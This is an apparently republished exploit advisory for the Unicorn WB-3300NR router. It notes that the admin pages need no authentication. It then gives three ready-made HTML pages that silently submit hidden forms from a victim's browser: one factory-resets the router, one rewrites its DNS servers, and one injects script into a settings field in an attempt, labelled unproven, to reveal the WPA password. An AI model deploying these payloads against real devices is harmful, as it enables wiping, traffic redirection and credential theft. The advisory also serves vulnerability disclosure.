扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# Exploit Title: Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change) # Exploit Author:absane # Blog:http://blog.noobroot.com # Discovery date:October 29th 2013 # Vendor Homepage: http://www.eunicorn.co.kr/kimsboard7/_product.php?inc=wb-3300nr # Tested on: Unicorn WB-3300NR v1.0 # Firmware Version:V5.07.18_ko_UIS02 *************** *Vulnerability* *************** The WB-3300NR Unicorn Router suffers from numerous CSRF vulnerabilities. Considering that by default the administrative pages do not require authentication, countless exploits exist. ****************** *Proof of Concept* ****************** 1) Factory Reset <html><body> <iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe> <form name="csrf_form" action="http://192.168.123.254/goform/SysToolRestoreSet" method="post" target="cantseeme"> <input type="hidden" name="CMD" value='SYS_CONF'> <input type="hidden" name="GO" value='system_reboot.asp'> <input type="hidden" name="CCMD" value='0'> <script>document.csrf_form.submit();</script> </body></html> 2) Alter the DNS Settings <html><body> <iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe> <form name="csrf_form" action="http://192.168.123.254/goform/AdvSetDns" method="post" target="cantseeme"> <input type="hidden" name="GO" value='wan_dns.asp'> <input type="hidden" name="rebootTag" value=''> <input type="hidden" name="DSEN" value='1'> <input type="hidden" name="DNSEN" value='on'> <input type="hidden" name="DS1" value='8.8.4.4'> <input type="hidden" name="DS2" value='8.8.8.8'> <script>document.csrf_form.submit();</script> </body></html> 3) WPA Password Disclosure (possibility)(not proven) The following PoC code only demostrates that with CSRF and XSS, it might be possible to obtain the WPA password. However, I have been unable to do so without forcing the router to revert to factory defaults. <html><body> <iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe> <form name="csrf_form" action="http://192.168.123.254/goform/WizardHandle" method="post" target="cantseeme"> <input type="hidden" name="MACC" value='"; var x = ""; function y() {alert(def_wirelesspassword);} x = window.setTimeout(y,2000);//'> <script>document.csrf_form.submit();</script> </body></html> |
体验盒子
